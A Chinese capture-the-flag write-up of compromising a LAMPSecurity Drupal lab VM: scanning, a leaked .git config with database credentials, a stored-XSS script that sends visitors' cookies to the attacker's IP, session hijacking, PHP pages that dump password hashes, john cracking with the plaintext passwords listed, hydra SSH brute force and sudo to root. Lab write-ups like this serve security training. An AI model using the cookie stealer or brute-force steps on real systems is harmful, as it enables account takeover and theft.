渗透方法
- 网络扫描 (Nmap)
- 浏览 HTTP 网络服务
- 敏感目录遍历(Dirb/Nikto/gobuster)
- XSS的应用
- Burpsuite捕获和修改请求
- 破解密码哈希(John)
- SSH 爆破(Medusa/hydra)
- 在不同阶段寻找和获取flag
过程
1. 使用nmap扫描,确定IP
跟我本机在同一网段下,所以扫描本机网段
nmap -sS 192.168.182.0/24
也可使用arp-scan,查看网段的所有主机,速度更快一点
arp-scan -I eth0 192.168.182.0/24
有开放80端口的IP,进行测试
得到目标IP:192.168.182.128
查看源码,获得了第一个flag:#flag#550e1bafe077ff0b0b67f4e32f29d751
2. 使用nmap进行全扫描,收集开放端口信息
nmap -A -p- 192.168.182.128
┌──(root@Kali5ta)-[~]
└─# nmap -A -p- 192.168.182.128
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-04 18:49 CST
Nmap scan report for 192.168.182.128
Host is up (0.00031s latency).
Not shown: 65513 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.182.130
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 2.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 4096 Jun 05 2013 pub
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 5e:ca:64:f0:7f:d2:1a:a2:86:c6:1f:c2:2a:b3:6b:27 (DSA)
|_ 2048 a3:39:2d:9f:66:96:0d:82:ad:52:1f:a1:dc:b1:f1:54 (RSA)
25/tcp open smtp Sendmail
| smtp-commands: localhost.localdomain Hello [192.168.182.130], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, EXPN, VERB, 8BITMIME, SIZE, DSN, ETRN, DELIVERBY, HELP
|_ 2.0.0 This is sendmail 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP <topic>". 2.0.0 To report bugs in the implementation see 2.0.0 http://www.sendmail.org/email-addresses.html 2.0.0 For local information send email to Postmaster at your site. 2.0.0 End of HELP info
80/tcp open http Apache httpd 2.2.3 ((CentOS))
| http-git:
| 192.168.182.128:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: initial commit
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /sites/ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /install.php /INSTALL.txt /LICENSE.txt
|_/MAINTAINERS.txt
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: LAMPSecurity Research
|_http-favicon: Drupal CMS
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 941/udp status
|_ 100024 1 944/tcp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))
|_http-title: LAMPSecurity Research
|_ssl-date: 2022-12-04T18:49:54+00:00; +8h00m24s from scanner time.
| http-git:
| 192.168.182.128:443/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: initial commit
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /sites/ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /install.php /INSTALL.txt /LICENSE.txt
|_/MAINTAINERS.txt
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2013-05-29T19:38:35
|_Not valid after: 2014-05-29T19:38:35
|_http-server-header: Apache/2.2.3 (CentOS)
445/tcp open netbios-ssn Samba smbd 3.0.33-3.7.el5 (workgroup: WORKGROUP)
944/tcp open status 1 (RPC #100024)
3306/tcp open mysql MySQL (unauthorized)
5801/tcp open vnc-http RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5901)
|_http-server-header: RealVNC/4.0
|_http-title: VNC viewer for Java
5802/tcp open vnc-http RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5902)
|_http-title: VNC viewer for Java
|_http-server-header: RealVNC/4.0
5803/tcp open vnc-http RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5903)
|_http-server-header: RealVNC/4.0
|_http-title: VNC viewer for Java
5804/tcp open vnc-http RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5904)
|_http-title: VNC viewer for Java
|_http-server-header: RealVNC/4.0
5901/tcp open vnc VNC (protocol 3.8)
| vnc-info:
| Protocol version: 3.8
| Security types:
|_ VNC Authentication (2)
5902/tcp open vnc VNC (protocol 3.8)
| vnc-info:
| Protocol version: 3.8
| Security types:
|_ VNC Authentication (2)
5903/tcp open vnc VNC (protocol 3.8)
| vnc-info:
| Protocol version: 3.8
| Security types:
|_ VNC Authentication (2)
5904/tcp open vnc VNC (protocol 3.8)
| vnc-info:
| Protocol version: 3.8
| Security types:
|_ VNC Authentication (2)
6001/tcp open X11 (access denied)
6002/tcp open X11 (access denied)
6003/tcp open X11 (access denied)
6004/tcp open X11 (access denied)
MAC Address: 00:0C:29:26:FD:99 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop
Service Info: OS: Unix
Host script results:
|_clock-skew: mean: 9h40m25s, deviation: 2h53m14s, median: 8h00m23s
| smb-os-discovery:
| OS: Unix (Samba 3.0.33-3.7.el5)
| Computer name: localhost
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: localhost.localdomain
|_ System time: 2022-12-04T13:49:50-05:00
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: LAMPSEC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
TRACEROUTE
HOP RTT ADDRESS
1 0.31 ms 192.168.182.128
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.44 seconds
分析数据可以发现开启了ftp(21端口)、ssh(22端口)及http(80端口)服务
3. 使用nikto扫描web漏洞信息
nikto -h 192.168.182.128
从扫描结果中可以得知,该网站易遭受XSS攻击,且发现了phpinfo.php页面
查看phpinfo.php页面,得到第二个flag:#flag#550e1bafe077ff0b0b67f4e32f29d751
4. 使用dirb扫描敏感目录信息
4-1 nikto没有发现敏感目录继续使用dirb扫描敏感目录信息
dirb http://192.168.182.128
得到以下有响应(状态码200)的网址[http://192.168.182.128/.git/HEAD](http://192.168.182.128/.git/HEAD)
与git相关
[http://192.168.182.128/contact](http://192.168.182.128/contact)
[http://192.168.182.128/Contact](http://192.168.182.128/contact)
留言板[http://192.168.182.128/webmail/src/login.php](http://192.168.182.128/webmail/src/login.php)
邮件登录后台
[http://192.168.182.128/user](http://192.168.182.128/user)
注册/找回密码界面[http://192.168.182.128/tracker](http://192.168.182.128/tracker)
发现发送帖子的作者均是Barbara,此人是渗透的重点目标
审查发送的帖子时,得到第三个flag:#flag#57dbe55b42b307fb4115146d239955d0[http://192.168.182.128/robots.txt](http://192.168.182.128/robots.txt)
在该链接得到第四个flag:#flag#4db00563d4181dc8d1dfd3b5cd6dc708[http://192.168.182.128/profile](http://192.168.182.128/profile)
公司部门员工名字,可以做爆破时的用户名字典
4-2 通过cms框架获取相关信息
同样可以使用dirsearchdirsearch -u 192.168.182.128
发现存在git源码泄露:
该网站是用Drupal搭建
利用scrabble工具获取源码
$db_url = 'mysql://username:password@localhost/databasename';
$db_url = 'mysqli://root:JumpUpAndDown@localhost/drupal';
对比可知:
数据库用户名及密码:root:JumpUpAndDown
数据库名:drupal
5. XSS利用
5-1 所需知识
在使用nikto扫描web漏洞时,已经给出了该站点存在XSS的提示
翻译如下:
不存在抗点击劫持的X-Frame-Options标头。
X-XSS-Protection头没有定义。此header可以提示用户代理防止某些形式的XSS
没有设置X-Content-Type-Options标头。这可以让用户代理以一种不同于MIME类型的方式呈现网站内容
5-1-1 X-Frame-Options:
X-Frame-Options是一个HTTP标头(header),用来告诉浏览器这个网页是否可以放在iFrame内
两个参数:(作用与上面一致)
1. SAMEORIGIN
2. DENY
例如:
1. X-Frame-Options: DENY
2. X-Frame-Options: SAMEORIGIN
3. X-Frame-Options: ALLOW-FROM http://caibaojian.com/
第一个例子告诉浏览器不要(DENY)把这个网页放在iFrame内,通常的目的就是要帮助用户对抗点击劫持。
第二个例子告诉浏览器只有当架设iFrame的网站与发出X-Frame-Options的网站相同,才能显示发出X-Frame-Options网页的内容。
第三个例子告诉浏览器这个网页只能放在http://caibaojian.com//网页架设的iFrame内。 不指定X-Frame-Options的网页等同表示它可以放在任何iFrame内。 X-Frame-Options可以保障你的网页不会被放在恶意网站设定的iFrame内,令用户成为点击劫持的受害人。
作用:
X-Frame-Options HTTP响应头是用来确认是否浏览器可以在frame或iframe标签中渲染一个页面,网站可以用这个头来保证他们的内容不会被嵌入到其它网站中,以来避免点击劫持。
危害:
攻击者可以使用一个透明的、不可见的iframe,覆盖在目标网页上,然后诱使用户在该网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击iframe页面的一些功能性按钮上,导致被劫持。
5-1-2 X-XSS-Protection:
这个响应头是用来防范XSS的。当检测到跨站脚本攻击 (XSS)时,浏览器将停止加载页面。现在主流浏览器都支持,并且默认都开启了XSS保护,用这个header可以关闭它。它有几种配置:
- 0:禁用XSS保护;
- 1:启用XSS保护;
- 1:mode=block:启用XSS保护,并在检查到XSS攻击时,停止渲染页面(例如IE8中,检查到攻击时,整个页面会被一个#替换)
浏览器提供的XSS保护机制并不完美,但是开启后仍然可以提升攻击难度,总之没有特别的理由,不要关闭它。
5-1-3 X-Content-Type-Options:
该消息头最初是由微软在 IE 8 浏览器中引入的,提供给网站管理员用作禁用内容嗅探的手段,内容嗅探技术可能会把不可执行的 MIME 类型转变为可执行的 MIME 类型。
5-1-4 MIME 类型:
媒体类型(通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型)是一种标准,用来表示文档、文件或字节流的性质和格式。浏览器通常使用 MIME 类型(而不是文件扩展名)来确定如何处理 URL,因此 Web 服务器在响应头中添加正确的 MIME 类型非常重要。如果配置不正确,浏览器可能会曲解文件内容,网站将无法正常工作,并且下载的文件也会被错误处理。
5-2 尝试利用
5-2-1 注册账号
注册页面:http://192.168.182.128/user/register
创建成功
5-2-2 寻找注入点
之前发现推送帖子的Barbara[http://192.168.182.128/tracker](http://192.168.182.128/tracker)
随便找一个她发布的帖子,在评论框内插入xss payload:<script>alert(/xss/)</script>
发布后会出现xss弹窗,证明存在XSS注入
5-2-3 利用XSS漏洞
5-2-3-1 脚本编写
编辑获取访问该页面的任何人的cookie ID的脚本
注意:session和cookie的区别
session是将数据保存在服务器端,cookie是将数据保存在浏览器端。cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗,如果主要考虑到安全应当使用session
5-2-3-2 获取cookie
目标是捕获Barbara的cookie ,她是本文的作者。为了得到cookie,该脚本会强制它发送一个请求到一个 URL,这个 URL 包含我们的 IP 地址(攻击机IP)和它的 cookie 值,这样当有人访问这个页面时,它会在我们自己创建的服务器上寻找一个有这个名字的页面,并且会列出URL 是一个无法访问的 URL。<script>
var request=new XMLHttpRequest();
var redirect_url="http://192.168.182.130:80/"+document.cookie;
request.open("GET",redirect_url);
request.send();
</script>
在http://192.168.182.128/comment/reply/27#comment-form下评论,因为这个是Barbara编辑的首页文章,私信她她肯定会看。
5-2-3-3 社工钓鱼
回到http://192.168.182.128/tracker,点击Barbara,点击Contact
随便找个理由让她点进这个页面:http://192.168.182.128/content/lampsec-point-security-available#comment-4
先编辑好,不要发送。
5-2-3-4 获取cookie
启动 python web服务器,命令如下所示:python3 -m http.server 8080
启动后发送邮件
一段时间后,日志中开始弹出一些错误消息,这些消息中会有Barbara的cookie,当然也包括其他查看该界面的用户的cookie。
得到cookie值,从Kali访问界面,使用burp抓包,将现有的cookie值替换为Barbara的cookie
q648u16h582trv0o8ivjer8ee3更换为b3lhap10hakqadqdiusfgtmsq0
然后放包登录:
发现登录上是Steve,多更换几个cookie进行尝试
kih0p3g2hpnf351kqjt8j51r57
成功使用Barbara身份登录
5-2-3-5 获取信息
发现Barbara拥有发布新页面的权限
5-2-3-5-1 创建PHP页面来获取数据库所有表名:<?php
$result = db_query('select table_name from information_schema.tables');
while($test = mysqli_fetch_object($result)){
print_r($test->table_name."<br/>");
}
回显出各种数据表名
5-2-3-5-2 创建PHP页面来获取数据库所有表名:<?php
$result = db_query('show tables');
while($test = mysqli_fetch_array($result)){
print_r($test[0]."<br/>");
}
回显出drupal数据库中的表名
5-2-3-5-3 创建PHP页面来获取users表中有哪些字段:<?php
$result = db_query('select * from users');
while($test = mysqli_fetch_object($result)){
print_r($test);
}
回显出drupal数据库中users表中的字段名:
5-2-3-5-3 创建PHP页面来获取users表中name和pass字段:<?php
$result = db_query('select name,pass from users');
while($test = db_fetch_object($result))
{
print $test->name . ":" . $test->pass . "<br/>";
}
?>
数据回显
6. 使用john解密
保存到本地文档
使用john解密john -w=/usr/share/wordlists/rockyou.txt -form=raw-md5 /root/users.txt
使用命令查看: john --show --form=Raw-md5 /root/users.txt
admin:football123
Barbara:passw0rd
Jim:letmein!
Steve:drupal
Sherry:1website
Susan:BobMarley
George:12341234
Juan:swanson
Michael:cherry
Xavier:thundercats
Sally:fantasy
**users.txt**
admin
Barbara
Jim
Steve
Sherry
Susan
George
Juan
Michael
Xavier
Sally
**passwd.txt**
football123
passw0rd
letmein!
drupal
1website
BobMarley
12341234
swanson
cherry
thundercats
fantasy
7. 使用九头蛇爆破ssh
hydra 目标IP 协议 -l (用户名,-L用户名字典) -P(密码字典,p直接是密码)-V(过程)hydra ssh://192.168.182.128/ -L user.txt -P passwd.txt -V
发现并没有爆破出来
想到之前敏感目录有关于webmail目录,考虑用户名是否为邮箱或者是邮箱前缀,将这些均添加到user.txt中
bdio@localhost.localdomain
bdio
spinkton@localhost.localdomain
spinkton
xbruce@localhost.localdomain
xbruce
jingersol@localhost.localdomain
jingersol
dhart@localhost.localdomain
dhart
shunter@localhost.localdomain
shunter
tmaloney@localhost.localdomain
tmaloney
gconnor@localhost.localdomain
gconnor
jalderman@localhost.localdomain
jalderman
gprune@localhost.localdomain
gprune
sholden@localhost.localdomain
sholden
jgrimes@localhost.localdomain
jgrimes
jgoldman@localhost.localdomain
jgoldman
jstone@localhost.localdomain
jstone
mswanson@localhost.localdomain
mswanson
sloreman@localhost.localdomain
sloreman
sswiney@localhost.localdomain
sswiney
hplink@localhost.localdomain
hplink
jharraway@localhost.localdomain
jharraway
再次爆破hydra ssh://192.168.182.128/ -L user.txt -P passwd.txt -V
这次爆破出三个结果
login: bdio password: passw0rd
login: spinkton password: football123
login: jharraway password: letmein!
8. burp爆破邮箱登录界面(已经可以ssh登陆,这步多余)
之前得到了邮件登录地址http://192.168.182.128/webmail/src/login.php
使用的是squirrelMail
百度发现该PHP邮件有远程代码执行漏洞,1.4.22版本以下均受影响
https://www.bbsmax.com/A/8Bz8nMpk5x/
发现没有验证码模块
使用得到的账号及密码,使用burp的intruder模块进行爆破:
没有爆破出来有用信息
9. ssh登录
9-1 使用bdio进行登录
login: bdio password: passw0rd
9-1-1 连接
ssh bdio@192.168.182.128
连接报错
原因:
OpenSSH 7.0以后的版本不再支持ssh-dss (DSA)算法
解决方法:ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss bdio@192.168.182.128
连接成功
9-1-2 查找flag
找到第五个flag:#flag#14e1b600b1fd579f47433b88e8d85291
9-1-3 寻找其他有用信息
9-1-3-1进入home目录,查看其他人的文件夹,提示无权限
9-1-3-2 进入root目录,提示无权限
9-1-3-3 使用sudo su 提权,提示bdio 不在 sudoers 列表中
9-2 使用spinkton进行登录
**login: spinkton password: football123**
9-2-1 连接:
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss spinkton@192.168.182.128
9-2-2 查找flag
得到第六个flag:#flag#0ab251c07822d26b07b88136739ae39b
9-2-3 寻找其他有用信息
9-2-3-1进入home目录,查看其他人的文件夹,提示无权限
9-2-3-2 进入root目录,提示无权限
9-2-3-3 使用sudo su 提权,发现可以提权
得到第七个flag:#flag#fd38e201f27e98e53abcf62890cfa303
9-2-3-4 已经获得root权限
因此最后一个用户jharraway无需再次使用ssh连接,即可直接使用root用户查看
得到第八个flag:#flag#0ab251c07822d26b07b88136739ae39b
通过root权限使用find命令find -name flag
./var/lib/mysql/flag
./home/jstone/flag
./home/jalderman/flag
./home/jgrimes/flag
./home/jharraway/flag
./home/xbruce/flag
./home/shunter/flag
./home/sloreman/flag
./home/spinkton/flag
./home/gprune/flag
./home/mswanson/flag
./home/dhart/flag
./home/gconnor/flag
./home/bdio/flag
./home/sholden/flag
./home/jgoldman/flag
./home/jingersol/flag
./home/sswiney/flag
./home/tmaloney/flag
9-2-3-4-1 ./var/lib/mysql/flag
得到第九个flag:#flag#ab38cd01f27d48e13bbef62890c4330e
9-2-3-4-2 依次寻找各个用户目录下的flag
批量寻找各用户的flag并写入文本
find -name flag | cat ./*/flag > getflag.txt
除去已知三个用户的flag,剩下的flag依次为:
#flag#228e04041ff2172704a46bf05d1025e2
#flag#0dd2ee4b75e2ae9e651d756a073ad845
#flag#2b0f0a14c00c8e1c4e11713ae4570d1e
#flag#1727712e26adec5956608218c0e1bc8d
#flag#129f58ad4af8f9de08bbd6bb7df22850
#flag#2f485b0d23c134ae06fd913ca2774853
#flag#34b5fa40a80f8596e56a422c0e65c21f
#flag#4241333025d7995adacc93eb6172a7b3
#flag#3b401580fa1184c9f4e66b6beb51a68f
#flag#0d8763b3866033eab7414b6166689fa8
#flag#307fbe82dcca96a884ab20c872422c57
#flag#4ce2645878d776c2a4f0e3c93d2a1b32
#flag#1d63be7ae33d0a258c1f93e61434c570
#flag#09fa6dc5d01788201df7b57cfc551002
#flag#49fb2e659dc8e2794bd401ca5b306057
9-2-3-4-3 查看敏感文件内是否藏有flag
vim /etc/passwd
并未发现
vim /etc/passwd
发现第25个flag:#flag#5b650c18929383074fea8870d857dd2e